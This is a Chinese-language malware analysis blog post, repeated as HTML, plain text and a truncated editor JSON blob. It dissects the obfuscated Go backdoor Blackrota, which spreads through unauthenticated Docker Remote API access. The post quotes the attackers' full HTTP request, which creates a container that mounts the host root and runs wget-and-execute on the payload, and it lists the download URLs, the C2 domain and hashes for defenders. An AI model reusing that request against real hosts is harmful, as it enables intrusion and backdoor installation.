Blackrota, 一个Go开发的高度混淆的后门
<h1 id="-"><strong>概述</strong></h1><p>最近，我们通过 Anglerfish 蜜罐捕获到一个利用 Docker Remote API 未授权访问漏洞来传播的 Go 语言编写的恶意后门程序，鉴于它上线的 C2 为 <code>blackrota.ga</code> ，我们把它命名为 <strong>Blackrota</strong>。</p><p><strong>Blackrota</strong> 后门程序目前只有 Linux 版，为 ELF 文件格式，支持 x86/x86-64 两种 CPU 架构。<strong>Blackrota</strong> 基于 <a href="https://github.com/darkr4y/geacon"><strong>geacon</strong></a> 配置并编译，<strong>geacon</strong> 是一个 Go 语言实现的 CobaltStrike Beacon，它可以作为 CobalStrike 的 Beacon 与 CobaltStrike 交互来控制失陷主机：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/geacon.png" class="kg-image" alt loading="lazy"></figure><p>不过它只实现了原生 CobaltStrike Beacon 中的部分关键功能：</p><ul><li><strong>CMD_SHELL</strong>: 执行 Shell 命令；</li><li><strong>CMD_UPLOAD</strong>: 上传文件;</li><li><strong>CMDDOWNLOAD</strong>: 下载指定文件；</li><li><strong>CMD_FILE_BROWSE</strong>: 文件浏览；</li><li><strong>CMD_CD</strong>: 切换目录；</li><li><strong>CMD_SLEEP</strong>: 设置睡眠延迟时间；</li><li><strong>CMD_PWD</strong>: 当前目录；</li><li><strong>CMD_EXIT</strong>: 退出。</li></ul><p>不同的是，<strong>Blackrota</strong> 在编译前，对 <strong>geacon</strong> 源码以及 <strong>geacon</strong> 用到的第三方 Package 中的<strong>函数名</strong>、<strong>变量名</strong>甚至<strong>源码文件路径字符串</strong>做了混淆。导致我们在逆向分析过程中无法直观看出该后门程序导入了哪些第三方 Package，进而无法直接恢复关键的函数符号与有意义的 Type Names。</p><p>另外，<strong>Blackrota</strong> 的作者还把程序中所有的字符串做了编码处理，每一个字符串都用一个 XOR 编码的函数来编码，执行的时候动态解码后再调用。导致逆向工程师无法直接看到程序中用到的字符串，现有的针对 Go 语言二进制文件逆向分析的辅助脚本、插件更无法解析这些字符串，给逆向分析工作带来很大的阻力。</p><p>历史上我们见过的 Go 编写的恶意软件，最多在编译时做了 Strip 处理，极个别会有轻微的混淆，都不会对逆向分析工作带来多大困难。而 <strong>Blackrota</strong> 则带来了新的混淆方式，给 Go 二进制文件的逆向分析工作带来新的挑战。</p><p>这是我们迄今为止发现的混淆程度最高的 Go 编写的 ELF 格式的恶意软件。</p><h2 id="--1"><strong>详细分析</strong></h2><h3 id="blackrota-"><strong>Blackrota 的传播</strong></h3><p><strong>Blackrato</strong> 的作者针对未授权 Docker Remote API 利用的 Payload 有多个，其中典型的 Payload 精简如下：</p><pre><code>POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
</code></pre><p>利用成功的 Payload，会从以下 2 个 URL 下载 32bit 或者 64bit <strong>Blackrota</strong> 后门程序：</p><pre><code>https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
</code></pre><h3 id="blackrota--1"><strong>Blackrota 后门程序概况</strong></h3><p>如上文所述，<strong>Blackrota</strong> 的后门程序由 Go 语言编写，在 IDAPro 中用 <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> 解析之后，可以发现该程序由 <strong>Go1.15.3</strong> 编译而来，编译该项目的主机中，<strong>GOROOT</strong> 路径为 <code>"/usr/local/Cellar/go/1.15.3/libexec"</code> 。另外，还可以分析出该项目涉及的源码文件路列表(源码文件的目录以随机字符串命名)：</p><pre><code>/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
</code></pre><h3 id="blackrota--2"><strong>Blackrota 的函数符号</strong></h3><p>从 <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> 的解析结果来看，给逆向分析工作带来最大阻力的，则是<strong>Blackrota</strong> 样本中导入的第三方库源码中的<strong>函数名</strong>(Function Names)、<strong>数据类型名</strong>(Type Names)以及部分<strong>类型绑定的方法名</strong>(Method names)被混淆成无意义的随机字符。解析后的部分函数列表：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfuscated_funcs.png" class="kg-image" alt loading="lazy"></figure><p>被混淆的数据类型定义：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfuscated_type.png" class="kg-image" alt loading="lazy"></figure><p>另外，仍有部分绑定在数据类型上的方法名未被完全混淆：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/half_obfuscated_meth_name.png" class="kg-image" alt loading="lazy"></figure><p>Go 语言二进制文件构建时，是全静态链接构建二进制文件。所以会把标准库和第三方库中用到的所有代都打包进二进制文件中，导致二进制文件体积很大。这种特性从逆向分析角度来看，就是在反汇编工具中打开 Go 二进制文件就会看到少则几千、多则上万个函数。如果这些函数没有相应的符号信息，那么针对 Go 二进制文件的逆向分析工作就会举步维艰。</p><p>好在 Go 语言还有另外一个机制：构建二进制文件时，还会把<strong>运行时符号信息</strong>(RTSI, Runtime Symbol Information)和<strong>运行时类型信息</strong>(RTTI, Runtime Type Information)都打包进二进制文件中，并且无法被 Strip 掉。当前业界几乎所有针对 Go 二进制文件的逆向辅助插件或脚本，以 <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> 为例，都是通过解析 Go 二进制文件中这些符号信息和类型信息来恢复大量的符号和类型定义，进而辅助逆向分析工作的。Go 语言项目经常导入大量的第三方开源 Package，通过分析这类工具解析出来的符号信息，就能顺藤摸瓜找到相应的开源 Package，阅读第三方 Package 的源码，则会让逆向分析工作效率进一步提升。</p><p>而 <strong>Blackrota</strong> 这种混淆符号信息和类型信息的手法，恰好扼住了这类逆向辅助工具的”命门”。使它们解析、恢复出来的符号信息变得没有可读性，也就失去了符号和类型信息的意义，更无法确知项目中用到了哪些第三方库。这样就会让逆向分析工作变得阻碍重重。</p><p>经过我们仔细分析，才发现 <strong>Blackrota</strong> 的样本是由 <strong><a href="https://github.com/darkr4y/geacon">geacon</a></strong> 改写而来。</p><p>这样一来，我们就可以尝试用以下步骤来恢复 <strong>Blackrota</strong> 样本中的函数符号：</p><ol><li>编译一个与 <strong>Blackrota</strong> 样本相同 CPU 架构的 <strong><a href="https://github.com/darkr4y/geacon">geacon</a></strong> ，不做 striped 处理，保留符号信息；</li><li>在 IDAPro 中用 <strong><a href="https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py">idb2pat.py</a></strong> 来提取 <strong><a href="https://github.com/darkr4y/geacon">geacon</a></strong> 中函数的 Pattern(<strong>geacon.pat</strong>)；</li><li>用 Flair Tools 中的 <strong>sigmake</strong> 工具来制作 <strong>geacon</strong> 的 Flirt Signature 文件(<strong>geacon.sig</strong>)；</li><li>在 IDAPro 中向 <strong>Blackrota</strong> 的样本导入 <strong>geacon.sig</strong>，识别并恢复函数符号。</li></ol><p>大功告成！但还不能高兴太早，因为我们发现 <strong>Blackrota</strong> 的函数符号并没有完全被识别，还有近百个函数没有被 <strong>geacon</strong> 的符号所覆盖，部分被识别的函数如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/part_of_recovered_funcname.png" class="kg-image" alt loading="lazy"></figure><h3 id="blackrota--3"><strong>Blackrota 中的字符串</strong></h3><p>其实， <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> 本来是可以解析 Go 二进制文件中的字符串的，它还可以为解析好的字符串创建 Data Reference 到字符串引用的地方，这样逆向二进制文件时，在什么代码处引用了什么字符串就会一目了然。但是我们上面用 <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong>  来解析 <strong>Blackrota</strong> 只看到极个别的 Go 标准库里用到的函数被解析，而 geacon 内部的字符串则没有被解析出来。</p><p>问题就出在上面没有被 <strong>geacon</strong> 的符号所覆盖的函数上面。</p><p>通过分析，我们发现 <strong>Blackrota</strong> 对它内部用到的所有字符串都进行了 XOR 编码处理，并会在运行的时候动态解码字符串再引用。每一个字符串都有一个对应的 XOR 解码函数，此函数解出一串字符并返回，然后解出的字符串会在父函数中被引用。其中的一个 XOR 解码函数关键部分如下图：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/xor_func.png" class="kg-image" alt loading="lazy"></figure><h2 id="--2"><strong>总结</strong></h2><p>Go 语言编写的被混淆过的程序很少见，除了个别白帽子简单的尝试，以前见过同行曝光的一个只混淆 <strong>package main</strong> 中函数符号的<a href="https://twitter.com/joakimkennedy/status/1298554039240732672">勒索病毒</a>：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfu_ransom.png" class="kg-image" alt loading="lazy"></figure><p>该勒索病毒只简单混淆了 main package 中的几个函数的名字，几乎不会给逆向分析工作带来什么阻力：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfu_ransom_funcnames.png" class="kg-image" alt loading="lazy"></figure><p>而 <strong>Blackrota</strong> 的混淆方式，则给逆向分析工作带来新的挑战。随着 Go 语言的流行，将来 Go 语言编写的恶意软件会越来越多，而针对性的对抗也会频频出现。<strong>Blackrota</strong> 或许只是一个开始。</p><h2 id="iocs-"><strong>IoCs:</strong></h2><h3 id="md5"><strong>MD5</strong></h3><pre><code>e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
</code></pre><h3 id="cc"><strong>C&amp;C</strong></h3><pre><code>blackrato.ga</code></pre>
概述

最近，我们通过 Anglerfish 蜜罐捕获到一个利用 Docker Remote API 未授权访问漏洞来传播的 Go 语言编写的恶意后门程序，鉴于它上线的 C2 为 blackrota.ga ，我们把它命名为 Blackrota。

Blackrota 后门程序目前只有 Linux 版，为 ELF 文件格式，支持 x86/x86-64 两种 CPU 架构。Blackrota 基于 geacon 配置并编译，geacon 是一个 Go 语言实现的 CobaltStrike Beacon，它可以作为 CobalStrike 的 Beacon 与 CobaltStrike 交互来控制失陷主机：

不过它只实现了原生 CobaltStrike Beacon 中的部分关键功能：

 * CMD_SHELL: 执行 Shell 命令；
 * CMD_UPLOAD: 上传文件;
 * CMDDOWNLOAD: 下载指定文件；
 * CMD_FILE_BROWSE: 文件浏览；
 * CMD_CD: 切换目录；
 * CMD_SLEEP: 设置睡眠延迟时间；
 * CMD_PWD: 当前目录；
 * CMD_EXIT: 退出。

不同的是，Blackrota 在编译前，对 geacon 源码以及 geacon 用到的第三方 Package 中的函数名、变量名甚至源码文件路径字符串做了混淆。导致我们在逆向分析过程中无法直观看出该后门程序导入了哪些第三方 Package，进而无法直接恢复关键的函数符号与有意义的 Type Names。

另外，Blackrota 的作者还把程序中所有的字符串做了编码处理，每一个字符串都用一个 XOR 编码的函数来编码，执行的时候动态解码后再调用。导致逆向工程师无法直接看到程序中用到的字符串，现有的针对 Go 语言二进制文件逆向分析的辅助脚本、插件更无法解析这些字符串，给逆向分析工作带来很大的阻力。

历史上我们见过的 Go 编写的恶意软件，最多在编译时做了 Strip 处理，极个别会有轻微的混淆，都不会对逆向分析工作带来多大困难。而 Blackrota 则带来了新的混淆方式，给 Go 二进制文件的逆向分析工作带来新的挑战。

这是我们迄今为止发现的混淆程度最高的 Go 编写的 ELF 格式的恶意软件。


详细分析


Blackrota 的传播

Blackrato 的作者针对未授权 Docker Remote API 利用的 Payload 有多个，其中典型的 Payload 精简如下：

POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}


利用成功的 Payload，会从以下 2 个 URL 下载 32bit 或者 64bit Blackrota 后门程序：

https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64



Blackrota 后门程序概况

如上文所述，Blackrota 的后门程序由 Go 语言编写，在 IDAPro 中用 go_parser 解析之后，可以发现该程序由 Go1.15.3 编译而来，编译该项目的主机中，GOROOT 路径为 "/usr/local/Cellar/go/1.15.3/libexec" 。另外，还可以分析出该项目涉及的源码文件路列表(源码文件的目录以随机字符串命名)：

/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go



Blackrota 的函数符号

从 go_parser 的解析结果来看，给逆向分析工作带来最大阻力的，则是Blackrota 样本中导入的第三方库源码中的函数名(Function Names)、数据类型名(Type Names)以及部分类型绑定的方法名(Method names)被混淆成无意义的随机字符。解析后的部分函数列表：

被混淆的数据类型定义：

另外，仍有部分绑定在数据类型上的方法名未被完全混淆：

Go 语言二进制文件构建时，是全静态链接构建二进制文件。所以会把标准库和第三方库中用到的所有代都打包进二进制文件中，导致二进制文件体积很大。这种特性从逆向分析角度来看，就是在反汇编工具中打开 Go 二进制文件就会看到少则几千、多则上万个函数。如果这些函数没有相应的符号信息，那么针对 Go 二进制文件的逆向分析工作就会举步维艰。

好在 Go 语言还有另外一个机制：构建二进制文件时，还会把运行时符号信息(RTSI, Runtime Symbol Information)和运行时类型信息(RTTI, Runtime Type Information)都打包进二进制文件中，并且无法被 Strip 掉。当前业界几乎所有针对 Go 二进制文件的逆向辅助插件或脚本，以 go_parser 为例，都是通过解析 Go 二进制文件中这些符号信息和类型信息来恢复大量的符号和类型定义，进而辅助逆向分析工作的。Go 语言项目经常导入大量的第三方开源 Package，通过分析这类工具解析出来的符号信息，就能顺藤摸瓜找到相应的开源 Package，阅读第三方 Package 的源码，则会让逆向分析工作效率进一步提升。

而 Blackrota 这种混淆符号信息和类型信息的手法，恰好扼住了这类逆向辅助工具的”命门”。使它们解析、恢复出来的符号信息变得没有可读性，也就失去了符号和类型信息的意义，更无法确知项目中用到了哪些第三方库。这样就会让逆向分析工作变得阻碍重重。

经过我们仔细分析，才发现 Blackrota 的样本是由 geacon 改写而来。

这样一来，我们就可以尝试用以下步骤来恢复 Blackrota 样本中的函数符号：

 1. 编译一个与 Blackrota 样本相同 CPU 架构的 geacon ，不做 striped 处理，保留符号信息；
 2. 在 IDAPro 中用 idb2pat.py 来提取 geacon 中函数的 Pattern(geacon.pat)；
 3. 用 Flair Tools 中的 sigmake 工具来制作 geacon 的 Flirt Signature 文件(geacon.sig)；
 4. 在 IDAPro 中向 Blackrota 的样本导入 geacon.sig，识别并恢复函数符号。

大功告成！但还不能高兴太早，因为我们发现 Blackrota 的函数符号并没有完全被识别，还有近百个函数没有被 geacon 的符号所覆盖，部分被识别的函数如下：


Blackrota 中的字符串

其实， go_parser 本来是可以解析 Go 二进制文件中的字符串的，它还可以为解析好的字符串创建 Data Reference 到字符串引用的地方，这样逆向二进制文件时，在什么代码处引用了什么字符串就会一目了然。但是我们上面用 go_parser  来解析 Blackrota 只看到极个别的 Go 标准库里用到的函数被解析，而 geacon 内部的字符串则没有被解析出来。

问题就出在上面没有被 geacon 的符号所覆盖的函数上面。

通过分析，我们发现 Blackrota 对它内部用到的所有字符串都进行了 XOR 编码处理，并会在运行的时候动态解码字符串再引用。每一个字符串都有一个对应的 XOR 解码函数，此函数解出一串字符并返回，然后解出的字符串会在父函数中被引用。其中的一个 XOR 解码函数关键部分如下图：


总结

Go 语言编写的被混淆过的程序很少见，除了个别白帽子简单的尝试，以前见过同行曝光的一个只混淆 package main 中函数符号的勒索病毒：

该勒索病毒只简单混淆了 main package 中的几个函数的名字，几乎不会给逆向分析工作带来什么阻力：

而 Blackrota 的混淆方式，则给逆向分析工作带来新的挑战。随着 Go 语言的流行，将来 Go 语言编写的恶意软件会越来越多，而针对性的对抗也会频频出现。Blackrota 或许只是一个开始。


IoCs:


MD5

e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa



C&C

blackrato.ga
{"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2020/11/geacon.png","alt":"","title":""}],["code",{"code":"POST /v1.37/containers/create HTTP/1.1\nHost: {target_host}:{target_port}\nUser-Agent: Docker-Client/19.03.7 (linux)\nContent-Length: 1687\nContent-Type: application/json\n\n{\"Env\":[],\"Cmd\":[\"/bin/sh\",\"-c\",\"rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \\u003c/dev/null \\u003e/dev/null 2\\u003e\\u00261 \\u0026\"],\"Image\":\"alpine\",\"Volumes\":{},\"WorkingDir\":\"\",\"HostConfig\":{\"Binds\":[\"/:/mnt\"]}\n"}],["code",{"code":"https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32\nhttps://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64\n"}],["code",{"code":"/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfuscated_funcs.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfuscated_type.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/half_obfuscated_meth_name.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/part_of_recovered_funcname.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/xor_func.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfu_ransom.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfu_ransom_funcnames.png","alt":"","title":""}],["code",{"code":"e56e4a586601a1130814060cb4bf449b\n6e020db51665614f4a2fd84fb0f83778\n9ca7acc98c17c6b67efdedb51560e1fa\n"}],["code",{"code":"blackrato.ga"}]],"markups":[["strong"],["code"],["a",["href","https://github.com/darkr4y/geacon"]],["a",["href","https://github.com/0xjiayu/go_parser"]],["a",["href","https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py"]],["a",["href","https://twitter.com/joakimkennedy/status/1298554039240732672"]]],"sections":[[1,"h1",[[0,[0],1,"概述"]]],[1,"p",[[0,[],0,"最近，我们通过 Anglerfish 蜜罐捕获到一个利用 Docker Remote API 未授权访问漏洞来传播的 Go 语言编写的恶意后门程序，鉴于它上线的 C2 为 "],[0,[1],1,"blackrota.ga"],[0,[],0," ，我们把它命名为 "],[0,[0],1,"Blackrota"],[0,[],0,"。"]]],[1,"p",[[0,[0],1,"Blackrota"],[0,[],0," 后门程序目前只有 Linux 版，为 ELF 文件格式，支持 x86/x86-64 两种 CPU 架构。"],[0,[0],1,"Blackrota"],[0,[],0," 基于 "],[0,[2,0],2,"geacon"],[0,[],0," 配置并编译，"],[0,[0],1,"geacon"],[0,[],0," 是一个 Go 语言实现的 CobaltStrike Beacon，它可以作为 CobalStrike 的 Beacon 与 CobaltStrike 交互来控制失陷主机："]]],[10,0],[1,"p",[[0,[],0,"不过它只实现了原生 CobaltStrike Beacon 中的部分关键功能："]]],[3,"ul",[[[0,[0],1,"CMD_SHELL"],[0,[],0,": 执行 Shell 命令；"]],[[0,[0],1,"CMD_UPLOAD"],[0,[],0,": 上传文件;"]],[[0,[0],1,"CMDDOWNLOAD"],[0,[],0,": 下载指定文件；"]],[[0,[0],1,"CMD_FILE_BROWSE"],[0,[],0,": 文件浏览；"]],[[0,[0],1,"CMD_CD"],[0,[],0,": 切换目录；"]],[[0,[0],1,"CMD_SLEEP"],[0,[],0,": 设置睡眠延迟时间；"]],[[0,[0],1,"CMD_PWD"],[0,[],0,": 当前目录；"]],[[0,[0],1,"CMD_EXIT"],[0,[],0,": 退出。"]]]],[1,"p",[[0,[],0,"不同的是，"],[0,[0],1,"Blackrota"],[0,[],0," 在编译前，对 "],[0,[0],1,"geacon"],[0,[],0," 源码以及 "],[0,[0],1,"geacon"],[0,[],0," 用到的第三方 Package 中的"],[0,[0],1,"函数名"],[0,[],0,"、"],[0,[0],1,"变量名"],[0,[],0,"甚至"],[0,[0],1,"源码文件路径字符串"],[0,[],0,"做了混淆。导致我们在逆向分析过程中无法直观看出该后门程序导入了哪些第三方 Package，进而无法直接恢复关键的函数符号与有意义的 Type Names。"]]],[1,"p",[[0,[],0,"另外，"],[0,[0],1,"Blackrota"],[0,[],0," 的作者还把程序中所有的字符串做了编码处理，每一个字符串都用一个 XOR 编码的函数来编码，执行的时候动态解码后再调用。导致逆向工程师无法直接看到程序中用到的字符串，现有的针对 Go 语言二进制文件逆向分析的辅助脚本、插件更无法解析这些字符串，给逆向分析工作带来很大的阻力。"]]],[1,"p",[[0,[],0,"历史上我们见过的 Go 编写的恶意软件，最多在编译时做了 Strip 处理，极个别会有轻微的混淆，都不会对逆向分析工作带来多大困难。而 "],[0,[0],1,"Blackrota"],[0,[],0," 则带来了新的混淆方式，给 Go 二进制文件的逆向分析工作带来新的挑战。"]]],[1,"p",[[0,[],0,"这是我们迄今为止发现的混淆程度最高的 Go 编写的 ELF 格式的恶意软件。"]]],[1,"h2",[[0,[0],1,"详细分析"]]],[1,"h3",[[0,[0],1,"Blackrota 的传播"]]],[1,"p",[[0,[0],1,"Blackrato"],[0,[],0," 的作者针对未授权 Docker Remote API 利用的 Payload 有多个，其中典型的 Payload 精简如下："]]],[10,1],[1,"p",[[0,[],0,"利用成功的 